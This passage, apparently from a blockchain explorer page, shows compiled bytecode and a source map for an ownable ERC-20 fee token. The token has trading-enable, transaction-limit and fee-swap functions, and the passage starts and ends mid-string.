4683a206469766973696f6e206279207a65726f00000000000081525061106b565b600b54158015610ed55750600c54155b15610edc57565b600b8054600d55600c8054600e5560009182905555565b600080600080600080610f0587611099565b6001600160a01b038f16600090815260046020526040902054959b5093995091975095509350915060ff168015610f455750601254600160a01b900460ff165b610f4f5785610f52565b60005b6001600160a01b038a16600090815260026020526040902054909650610f7890876110f6565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610fa79086611138565b6001600160a01b038916600090815260026020526040902055610fc981611197565b610fd384836111e1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161101891815260200190565b60405180910390a3505050505050505050565b6005546000908190670de0b6b3a76400006110468282610e83565b82101561106257505060055492670de0b6b3a764000092509050565b90939092509050565b6000818361108c5760405162461bcd60e51b8152600401610497919061132c565b506000610c53848661156a565b60008060008060008060008060006110b68a600b54600c54611205565b92509250925060006110c6610e60565b905060008060006110d98e87878761125a565b919e509c509a509598509396509194505050505091939550919395565b6000610c7383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c22565b60008061114583856114a0565b905083811015610c735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610497565b60006111a1610e60565b905060006111af83836112aa565b306000908152600260205260409020549091506111cc9082611138565b30600090815260026020526040902055505050565b6005546111ee90836110f6565b6005556006546111fe9082611138565b6006555050565b600080808061121f606461121989896112aa565b90610e83565b9050600061123260646112198a896112aa565b9050600061124a826112448b866110f6565b906110f6565b9992985090965090945050505050565b600080808061126988866112aa565b9050600061127788876112aa565b9050600061128588886112aa565b905060006112978261124486866110f6565b939b939a50919850919650505050505050565b6000826000036112bc575060006103dc565b60006112c8838561158c565b9050826112d5858361156a565b14610c735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610497565b600060208083528351808285015260005b818110156113595785810183015185820160400152820161133d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461138f57600080fd5b50565b600080604083850312156113a557600080fd5b82356113b08161137a565b946020939093013593505050565b6000806000606084860312156113d357600080fd5b83356113de8161137a565b925060208401356113ee8161137a565b929592945050506040919091013590565b60006020828403121561141157600080fd5b8135610c738161137a565b6000806040838503121561142f57600080fd5b823561143a8161137a565b9150602083013561144a8161137a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156103dc576103dc61148a565b818103818111156103dc576103dc61148a565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114ee57600080fd5b8151610c738161137a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115495784516001600160a01b031683529383019391830191600101611524565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261158757634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176103dc576103dc61148a56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b9d69dc69762adce5e876ada76fb3d095684febb517e6b9cf36ffbe4cb843daf64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101185760003560e01c8063751039fc116100a0578063aa4bde2811610064578063aa4bde2814610324578063c9567bf91461033a578063dd62ed3e1461034f578063de28707114610395578063f2fde38b146103ab57600080fd5b8063751039fc1461028d5780638c0b5e22146102a25780638da5cb5b146102b857806395d89b41146102d6578063a9059cbb1461030457600080fd5b8063313ce567116100e7578063313ce567146101e25780634bf28fd0146101fe57806365b61b771461023657806370a0823114610256578063715018a61461027657600080fd5b806306fdde0314610124578063095ea7b31461016d57806318160ddd1461019d57806323b872dd146101c257600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600e81526d29b432ba3432b932bab6a1b7b4b760911b60208201525b604051610164919061132c565b60405180910390f35b34801561017957600080fd5b5061018d610188366004611392565b6103cb565b6040519015158152602001610164565b3480156101a957600080fd5b50670de0b6b3a76400005b604051908152602001610164565b3480156101ce57600080fd5b5061018d6101dd3660046113be565b6103e2565b3480156101ee57600080fd5b5060405160098152602001610164565b34801561020a57600080fd5b5060125461021e906001600160a01b031681565b6040516001600160a01b039091168152602001610164565b34801561024257600080fd5b5060115461021e906001600160a01b031681565b34801561026257600080fd5b506101b46102713660046113ff565b61044b565b34801561028257600080fd5b5061028b61046d565b005b34801561029957600080fd5b5061028b6104ea565b3480156102ae57600080fd5b506101b460135481565b3480156102c457600080fd5b506000546001600160a01b031661021e565b3480156102e257600080fd5b506040805180820190915260058152640a6908aa8960db1b6020820152610157565b34801561031057600080fd5b5061018d61031f366004611392565b610538565b34801561033057600080fd5b506101b460145481565b34801561034657600080fd5b5061028b610545565b34801561035b57600080fd5b506101b461036a36600461141c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156103a157600080fd5b506101b460155481565b3480156103b757600080fd5b5061028b6103c63660046113ff565b610584565b60006103d833848461066e565b5060015b92915050565b60006103ef848484610792565b610441843361043c856040518060600160405280602881526020016115a4602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610c22565b61066e565b5060019392505050565b6001600160a01b0381166000908152600260205260408120546103dc90610c5c565b6000546001600160a01b031633146104a05760405162461bcd60e51b815260040161049790611455565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105145760405162461bcd60e51b815260040161049790611455565b60055460138190556014556000600781905560016008819055600991909155600a55565b60006103d8338484610792565b6000546001600160a01b0316331461056f5760405162461bcd60e51b815260040161049790611455565b6012805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105ae5760405162461bcd60e51b815260040161049790611455565b6001600160a01b0381166106135760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610497565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106d05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610497565b6001600160a01b0382166107315760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610497565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107f65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610497565b6001600160a01b0382166108585760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610497565b600081116108ba5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610497565b6000546001600160a01b038481169116148015906108e657506000546001600160a01b03838116911614155b15610b1557601254600160a01b900460ff1661097f576000546001600160a01b0384811691161461097f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610497565b6013548111156109d15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610497565b6012546001600160a01b03838116911614610a5757601454816109f38461044b565b6109fd91906114a0565b1115610a575760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610497565b6000610a623061044b565b601554601354919250821015908210610a7b5760135491505b808015610a925750601254600160a81b900460ff16155b8015610aab57506012546001600160a01b038581169116145b8015610ac05750601254600160b01b900460ff165b8015610ae557506001600160a01b03851660009081526004602052604090205460ff16155b8015610af2575060155483115b15610b1257610b0082610c7a565b478015610b1057610b1047610df4565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff1680610b5757506001600160a01b03831660009081526004602052604090205460ff165b80610b8957506012546001600160a01b03858116911614801590610b8957506012546001600160a01b03848116911614155b15610b9657506000610c10565b6012546001600160a01b038581169116148015610bc157506011546001600160a01b03848116911614155b15610bd357600754600b55600854600c555b6012546001600160a01b038481169116148015610bfe57506011546001600160a01b03858116911614155b15610c1057600954600b55600a54600c555b610c1c84848484610e32565b50505050565b60008184841115610c465760405162461bcd60e51b8152600401610497919061132c565b506000610c5384866114b3565b95945050505050565b600080610c67610e60565b9050610c738382610e83565b9392505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cc257610cc26114c6565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3f91906114dc565b81600181518110610d5257610d526114c6565b6001600160a01b039283166020918202929092010152601154610d78913091168461066e565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610db19085906000908690309042906004016114f9565b600060405180830381600087803b158015610dcb57600080fd5b505af1158015610ddf573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610e2e573d6000803e3d6000fd5b5050565b80610e3f57610e3f610ec5565b610e4a848484610ef3565b80610c1c57610c1c600d54600b55600e54600c55565b6000806000610e6d61102b565b9092509050610e7c8282610e83565b9250505090565b6000610c7383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061106b565b600b54158015610ed55750600c54155b15610edc57565b600b8054600d55600c8054600e5560009182905555565b600080600080600080610f0587611099565b6001600160a01b038f16600090815260046020526040902054959b5093995091975095509350915060ff168015610f455750601254600160a01b900460ff165b610f4f5785610f52565b60005b6001600160a01b038a16600090815260026020526040902054909650610f7890876110f6565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610fa79086611138565b6001600160a01b038916600090815260026020526040902055610fc981611197565b610fd384836111e1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161101891815260200190565b60405180910390a3505050505050505050565b6005546000908190670de0b6b3a76400006110468282610e83565b82101561106257505060055492670de0b6b3a764000092509050565b90939092509050565b6000818361108c5760405162461bcd60e51b8152600401610497919061132c565b506000610c53848661156a565b60008060008060008060008060006110b68a600b54600c54611205565b92509250925060006110c6610e60565b905060008060006110d98e87878761125a565b919e509c509a509598509396509194505050505091939550919395565b6000610c7383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c22565b60008061114583856114a0565b905083811015610c735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610497565b60006111a1610e60565b905060006111af83836112aa565b306000908152600260205260409020549091506111cc9082611138565b30600090815260026020526040902055505050565b6005546111ee90836110f6565b6005556006546111fe9082611138565b6006555050565b600080808061121f606461121989896112aa565b90610e83565b9050600061123260646112198a896112aa565b9050600061124a826112448b866110f6565b906110f6565b9992985090965090945050505050565b600080808061126988866112aa565b9050600061127788876112aa565b9050600061128588886112aa565b905060006112978261124486866110f6565b939b939a50919850919650505050505050565b6000826000036112bc575060006103dc565b60006112c8838561158c565b9050826112d5858361156a565b14610c735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610497565b600060208083528351808285015260005b818110156113595785810183015185820160400152820161133d565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461138f57600080fd5b50565b600080604083850312156113a557600080fd5b82356113b08161137a565b946020939093013593505050565b6000806000606084860312156113d357600080fd5b83356113de8161137a565b925060208401356113ee8161137a565b929592945050506040919091013590565b60006020828403121561141157600080fd5b8135610c738161137a565b6000806040838503121561142f57600080fd5b823561143a8161137a565b9150602083013561144a8161137a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808201808211156103dc576103dc61148a565b818103818111156103dc576103dc61148a565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114ee57600080fd5b8151610c738161137a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115495784516001600160a01b031683529383019391830191600101611524565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261158757634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176103dc576103dc61148a56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b9d69dc69762adce5e876ada76fb3d095684febb517e6b9cf36ffbe4cb843daf64736f6c63430008130033

Deployed Bytecode Sourcemap

4238:11513:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6509:83;;;;;;;;;;-1:-1:-1;6579:5:0;;;;;;;;;;;;-1:-1:-1;;;6579:5:0;;;;6509:83;;;;;;;:::i;:::-;;;;;;;;13686:193;;;;;;;;;;-1:-1:-1;13686:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;13686:193:0;1023:187:1;6786:95:0;;;;;;;;;;-1:-1:-1;4740:15:0;6786:95;;;1361:25:1;;;1349:2;1334:18;6786:95:0;1215:177:1;10298:446:0;;;;;;;;;;-1:-1:-1;10298:446:0;;;;;:::i;:::-;;:::i;6695:83::-;;;;;;;;;;-1:-1:-1;6695:83:0;;4465:1;2000:36:1;;1988:2;1973:18;6695:83:0;1858:184:1;5473:27:0;;;;;;;;;;-1:-1:-1;5473:27:0;;;;-1:-1:-1;;;;;5473:27:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;5473:27:0;2047:203:1;5430:36:0;;;;;;;;;;-1:-1:-1;5430:36:0;;;;-1:-1:-1;;;;;5430:36:0;;;13891:135;;;;;;;;;;-1:-1:-1;13891:135:0;;;;;:::i;:::-;;:::i;2942:148::-;;;;;;;;;;;;;:::i;:::-;;9629:245;;;;;;;;;;;;;:::i;5616:49::-;;;;;;;;;;;;;;;;2728:79;;;;;;;;;;-1:-1:-1;2766:7:0;2793:6;-1:-1:-1;;;;;2793:6:0;2728:79;;6600:87;;;;;;;;;;-1:-1:-1;6672:7:0;;;;;;;;;;;;-1:-1:-1;;;6672:7:0;;;;6600:87;;15322:199;;;;;;;;;;-1:-1:-1;15322:199:0;;;;;:::i;:::-;;:::i;5672:53::-;;;;;;;;;;;;;;;;14034:78;;;;;;;;;;;;;:::i;9984:184::-;;;;;;;;;;-1:-1:-1;9984:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;10133:18:0;;;10101:7;10133:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;9984:184;5732:49;;;;;;;;;;;;;;;;3098:244;;;;;;;;;;-1:-1:-1;3098:244:0;;;;;:::i;:::-;;:::i;13686:193::-;13788:4;13810:39;356:10;13833:7;13842:6;13810:8;:39::i;:::-;-1:-1:-1;13867:4:0;13686:193;;;;;:::o;10298:446::-;10430:4;10447:36;10457:6;10465:9;10476:6;10447:9;:36::i;:::-;10494:220;10517:6;356:10;10565:138;10621:6;10565:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10565:19:0;;;;;;:11;:19;;;;;;;;356:10;10565:33;;;;;;;;;;:37;:138::i;:::-;10494:8;:220::i;:::-;-1:-1:-1;10732:4:0;10298:446;;;;;:::o;13891:135::-;-1:-1:-1;;;;;14002:15:0;;13957:7;14002:15;;;:6;:15;;;;;;13984:34;;:17;:34::i;2942:148::-;2855:6;;-1:-1:-1;;;;;2855:6:0;356:10;2855:22;2847:67;;;;-1:-1:-1;;;2847:67:0;;;;;;;:::i;:::-;;;;;;;;;3049:1:::1;3033:6:::0;;3012:40:::1;::::0;-1:-1:-1;;;;;3033:6:0;;::::1;::::0;3012:40:::1;::::0;3049:1;;3012:40:::1;3080:1;3063:19:::0;;-1:-1:-1;;;;;;3063:19:0::1;::::0;;2942:148::o;9629:245::-;2855:6;;-1:-1:-1;;;;;2855:6:0;356:10;2855:22;2847:67;;;;-1:-1:-1;;;2847:67:0;;;;;;;:::i;:::-;9697:8:::1;::::0;9683:11:::1;:22:::0;;;9716:15:::1;:26:::0;-1:-1:-1;9763:13:0::1;:17:::0;;;9807:1:::1;9791:13;:17:::0;;;9819:14:::1;:18:::0;;;;-1:-1:-1;9848:18:0;9629:245::o;15322:199::-;15427:4;15449:42;356:10;15473:9;15484:6;15449:9;:42::i;14034:78::-;2855:6;;-1:-1:-1;;;;;2855:6:0;356:10;2855:22;2847:67;;;;-1:-1:-1;;;2847:67:0;;;;;;;:::i;:::-;14085:12:::1;:19:::0;;-1:-1:-1;;;;14085:19:0::1;-1:-1:-1::0;;;14085:19:0::1;::::0;;14034:78::o;3098:244::-;2855:6;;-1:-1:-1;;;;;2855:6:0;356:10;2855:22;2847:67;;;;-1:-1:-1;;;2847:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3187:22:0;::::1;3179:73;;;::::0;-1:-1:-1;;;3179:73:0;;3693:2:1;3179:73:0::1;::::0;::::1;3675:21:1::0;3732:2;3712:18;;;3705:30;3771:34;3751:18;;;3744:62;-1:-1:-1;;;3822:18:1;;;3815:36;3868:19;;3179:73:0::1;3491:402:1::0;3179:73:0::1;3289:6;::::0;;3268:38:::1;::::0;-1:-1:-1;;;;;3268:38:0;;::::1;::::0;3289:6;::::1;::::0;3268:38:::1;::::0;::::1;3317:6;:17:::0;;-1:-1:-1;;;;;;3317:17:0::1;-1:-1:-1::0;;;;;3317:17:0;;;::::1;::::0;;;::::1;::::0;;3098:244::o;10968:369::-;-1:-1:-1;;;;;11095:19:0;;11087:68;;;;-1:-1:-1;;;11087:68:0;;4100:2:1;11087:68:0;;;4082:21:1;4139:2;4119:18;;;4112:30;4178:34;4158:18;;;4151:62;-1:-1:-1;;;4229:18:1;;;4222:34;4273:19;;11087:68:0;3898:400:1;11087:68:0;-1:-1:-1;;;;;11174:21:0;;11166:68;;;;-1:-1:-1;;;11166:68:0;;4505:2:1;11166:68:0;;;4487:21:1;4544:2;4524:18;;;4517:30;4583:34;4563:18;;;4556:62;-1:-1:-1;;;4634:18:1;;;4627:32;4676:19;;11166:68:0;4303:398:1;11166:68:0;-1:-1:-1;;;;;11245:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11297:32;;1361:25:1;;;11297:32:0;;1334:18:1;11297:32:0;;;;;;;10968:369;;;:::o;6889:2244::-;-1:-1:-1;;;;;7011:18:0;;7003:68;;;;-1:-1:-1;;;7003:68:0;;4908:2:1;7003:68:0;;;4890:21:1;4947:2;4927:18;;;4920:30;4986:34;4966:18;;;4959:62;-1:-1:-1;;;5037:18:1;;;5030:35;5082:19;;7003:68:0;4706:401:1;7003:68:0;-1:-1:-1;;;;;7090:16:0;;7082:64;;;;-1:-1:-1;;;7082:64:0;;5314:2:1;7082:64:0;;;5296:21:1;5353:2;5333:18;;;5326:30;5392:34;5372:18;;;5365:62;-1:-1:-1;;;5443:18:1;;;5436:33;5486:19;;7082:64:0;5112:399:1;7082:64:0;7174:1;7165:6;:10;7157:64;;;;-1:-1:-1;;;7157:64:0;;5718:2:1;7157:64:0;;;5700:21:1;5757:2;5737:18;;;5730:30;5796:34;5776:18;;;5769:62;-1:-1:-1;;;5847:18:1;;;5840:39;5896:19;;7157:64:0;5516:405:1;7157:64:0;2766:7;2793:6;-1:-1:-1;;;;;7238:15:0;;;2793:6;;7238:15;;;;:32;;-1:-1:-1;2766:7:0;2793:6;-1:-1:-1;;;;;7257:13:0;;;2793:6;;7257:13;;7238:32;7234:1171;;;7327:12;;-1:-1:-1;;;7327:12:0;;;;7322:145;;2766:7;2793:6;-1:-1:-1;;;;;7368:15:0;;;2793:6;;7368:15;7360:91;;;;-1:-1:-1;;;7360:91:0;;6128:2:1;7360:91:0;;;6110:21:1;6167:2;6147:18;;;6140:30;6206:34;6186:18;;;6179:62;6277:33;6257:18;;;6250:61;6328:19;;7360:91:0;5926:427:1;7360:91:0;7501:11;;7491:6;:21;;7483:62;;;;-1:-1:-1;;;7483:62:0;;6560:2:1;7483:62:0;;;6542:21:1;6599:2;6579:18;;;6572:30;6638;6618:18;;;6611:58;6686:18;;7483:62:0;6358:352:1;7483:62:0;7571:12;;-1:-1:-1;;;;;7565:18:0;;;7571:12;;7565:18;7562:147;;7638:15;;7628:6;7612:13;7622:2;7612:9;:13::i;:::-;:22;;;;:::i;:::-;:41;;7604:89;;;;-1:-1:-1;;;7604:89:0;;7179:2:1;7604:89:0;;;7161:21:1;7218:2;7198:18;;;7191:30;7257:34;7237:18;;;7230:62;-1:-1:-1;;;7308:18:1;;;7301:33;7351:19;;7604:89:0;6977:399:1;7604:89:0;7725:28;7756:24;7774:4;7756:9;:24::i;:::-;7834:16;;7894:11;;7725:55;;-1:-1:-1;7810:40:0;;;;7870:35;;7867:122;;7962:11;;7939:34;;7867:122;8009:7;:19;;;;-1:-1:-1;8021:7:0;;-1:-1:-1;;;8021:7:0;;;;8020:8;8009:19;:41;;;;-1:-1:-1;8038:12:0;;-1:-1:-1;;;;;8032:18:0;;;8038:12;;8032:18;8009:41;:56;;;;-1:-1:-1;8054:11:0;;-1:-1:-1;;;8054:11:0;;;;8009:56;:88;;;;-1:-1:-1;;;;;;8070:27:0;;;;;;:21;:27;;;;;;;;8069:28;8009:88;:117;;;;;8110:16;;8101:6;:25;8009:117;8005:389;;;8147:37;8163:20;8147:15;:37::i;:::-;8232:21;8276:22;;8272:107;;8323:36;8337:21;8323:13;:36::i;:::-;8128:266;8005:389;7272:1133;;7234:1171;-1:-1:-1;;;;;8481:27:0;;8417:12;8481:27;;;:21;:27;;;;;;8432:4;;8481:27;;;:56;;-1:-1:-1;;;;;;8512:25:0;;;;;;:21;:25;;;;;;;;8481:56;8480:106;;;-1:-1:-1;8551:12:0;;-1:-1:-1;;;;;8543:20:0;;;8551:12;;8543:20;;;;:42;;-1:-1:-1;8573:12:0;;-1:-1:-1;;;;;8567:18:0;;;8573:12;;8567:18;;8543:42;8476:596;;;-1:-1:-1;8613:5:0;8476:596;;;8696:12;;-1:-1:-1;;;;;8688:20:0;;;8696:12;;8688:20;:53;;;;-1:-1:-1;8726:14:0;;-1:-1:-1;;;;;8712:29:0;;;8726:14;;8712:29;;8688:53;8685:161;;;8774:13;;8762:9;:25;8817:13;;8806:8;:24;8685:161;8905:12;;-1:-1:-1;;;;;8899:18:0;;;8905:12;;8899:18;:53;;;;-1:-1:-1;8937:14:0;;-1:-1:-1;;;;;8921:31:0;;;8937:14;;8921:31;;8899:53;8895:164;;;8985:14;;8973:9;:26;9029:14;;9018:8;:25;8895:164;9084:41;9099:4;9105:2;9109:6;9117:7;9084:14;:41::i;:::-;6992:2141;6889:2244;;;:::o;1493:224::-;1613:7;1649:12;1641:6;;;;1633:29;;;;-1:-1:-1;;;1633:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1673:9:0;1685:5;1689:1;1685;:5;:::i;:::-;1673:17;1493:224;-1:-1:-1;;;;;1493:224:0:o;10752:208::-;10845:7;10870:19;10892:18;:16;:18::i;:::-;10870:40;-1:-1:-1;10928:24:0;:7;10870:40;10928:11;:24::i;:::-;10921:31;10752:208;-1:-1:-1;;;10752:208:0:o;9141:476::-;5871:7;:14;;-1:-1:-1;;;;5871:14:0;-1:-1:-1;;;5871:14:0;;;9239:16:::1;::::0;;9253:1:::1;9239:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9239:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9239:16:0::1;9215:40;;9284:4;9266;9271:1;9266:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9266:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9310:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;9310:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;9266:7;;9310:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9300:4;9305:1;9300:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9300:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;9374:14:::1;::::0;9342:61:::1;::::0;9359:4:::1;::::0;9374:14:::1;9391:11:::0;9342:8:::1;:61::i;:::-;9414:14;::::0;:195:::1;::::0;-1:-1:-1;;;9414:195:0;;-1:-1:-1;;;;;9414:14:0;;::::1;::::0;:65:::1;::::0;:195:::1;::::0;9494:11;;9414:14:::1;::::0;9536:4;;9563::::1;::::0;9583:15:::1;::::0;9414:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5908:7:0;:15;;-1:-1:-1;;;;5908:15:0;;;-1:-1:-1;;;;9141:476:0:o;9882:94::-;9940:11;;:28;;-1:-1:-1;;;;;9940:11:0;;;;:28;;;;;9961:6;;9940:11;:28;:11;:28;9961:6;9940:11;:28;;;;;;;;;;;;;;;;;;;;;9882:94;:::o;11612:281::-;11768:7;11763:28;;11777:14;:12;:14::i;:::-;11802:44;11820:6;11828:9;11839:6;11802:17;:44::i;:::-;11862:7;11857:28;;11871:14;10231:17;;10219:9;:29;10270:12;;10259:8;:23;10176:114;15139:171;15189:7;15210:15;15227;15246:18;:16;:18::i;:::-;15209:55;;-1:-1:-1;15209:55:0;-1:-1:-1;15282:20:0;15209:55;;15282:11;:20::i;:::-;15275:27;;;;15139:171;:::o;1979:132::-;2037:7;2064:39;2068:1;2071;2064:39;;;;;;;;;;;;;;;;;:3;:39::i;15529:219::-;15576:9;;:14;:31;;;;-1:-1:-1;15594:8:0;;:13;15576:31;15572:44;;;15529:219::o;15572:44::-;15648:9;;;15628:17;:29;15683:8;;;15668:12;:23;-1:-1:-1;15704:13:0;;;;15728:12;15529:219::o;11901:709::-;12048:15;12078:23;12116:12;12143:23;12181:12;12208:13;12235:25;12252:7;12235:16;:25::i;:::-;-1:-1:-1;;;;;12282:29:0;;;;;;:21;:29;;;;;;12033:227;;-1:-1:-1;12033:227:0;;-1:-1:-1;12033:227:0;;-1:-1:-1;12033:227:0;-1:-1:-1;12033:227:0;-1:-1:-1;12033:227:0;-1:-1:-1;12282:29:0;;:45;;;;-1:-1:-1;12315:12:0;;-1:-1:-1;;;12315:12:0;;;;12282:45;12281:71;;12345:7;12281:71;;;12341:1;12281:71;-1:-1:-1;;;;;12380:14:0;;;;;;:6;:14;;;;;;12271:81;;-1:-1:-1;12380:27:0;;12271:81;12380:18;:27::i;:::-;-1:-1:-1;;;;;12363:14:0;;;;;;;:6;:14;;;;;;:44;;;;12438:17;;;;;;;:38;;12460:15;12438:21;:38::i;:::-;-1:-1:-1;;;;;12418:17:0;;;;;;:6;:17;;;;;:58;12487:17;12498:5;12487:10;:17::i;:::-;12515:27;12531:4;12537;12515:15;:27::i;:::-;12575:9;-1:-1:-1;;;;;12558:44:0;12567:6;-1:-1:-1;;;;;12558:44:0;;12586:15;12558:44;;;;1361:25:1;;1349:2;1334:18;;1215:177;12558:44:0;;;;;;;;12022:588;;;;;;11901:709;;;:::o;11345:259::-;11442:8;;11395:7;;;;4740:15;11511:21;11442:8;4740:15;11511:12;:21::i;:::-;11501:7;:31;11497:63;;;-1:-1:-1;;11542:8:0;;;4740:15;;-1:-1:-1;11345:259:0;-1:-1:-1;11345:259:0:o;11497:63::-;11579:7;;11588;;-1:-1:-1;11345:259:0;-1:-1:-1;11345:259:0:o;2119:223::-;2239:7;2274:12;2267:5;2259:28;;;;-1:-1:-1;;;2259:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2298:9:0;2310:5;2314:1;2310;:5;:::i;13044:630::-;13150:7;13172;13194;13216;13238;13260;13296:23;13321:12;13335:13;13365:41;13377:7;13386:9;;13397:8;;13365:11;:41::i;:::-;13295:111;;;;;;13417:19;13439:18;:16;:18::i;:::-;13417:40;;13469:15;13486:23;13511:12;13540:46;13552:7;13561:4;13567:5;13574:11;13540;:46::i;:::-;13468:118;;-1:-1:-1;13468:118:0;-1:-1:-1;13468:118:0;-1:-1:-1;13637:15:0;;-1:-1:-1;13654:4:0;;-1:-1:-1;13660:5:0;;-1:-1:-1;;;;;13044:630:0;;;;;;;:::o;1349:136::-;1407:7;1434:43;1438:1;1441;1434:43;;;;;;;;;;;;;;;;;:3;:43::i;1162:179::-;1220:7;;1252:5;1256:1;1252;:5;:::i;:::-;1240:17;;1281:1;1276;:6;;1268:46;;;;-1:-1:-1;;;1268:46:0;;9443:2:1;1268:46:0;;;9425:21:1;9482:2;9462:18;;;9455:30;9521:29;9501:18;;;9494:57;9568:18;;1268:46:0;9241:351:1;12622:218:0;12676:19;12698:18;:16;:18::i;:::-;12676:40;-1:-1:-1;12727:13:0;12743:22;:5;12676:40;12743:9;:22::i;:::-;12815:4;12800:21;;;;:6;:21;;;;;;12727:38;;-1:-1:-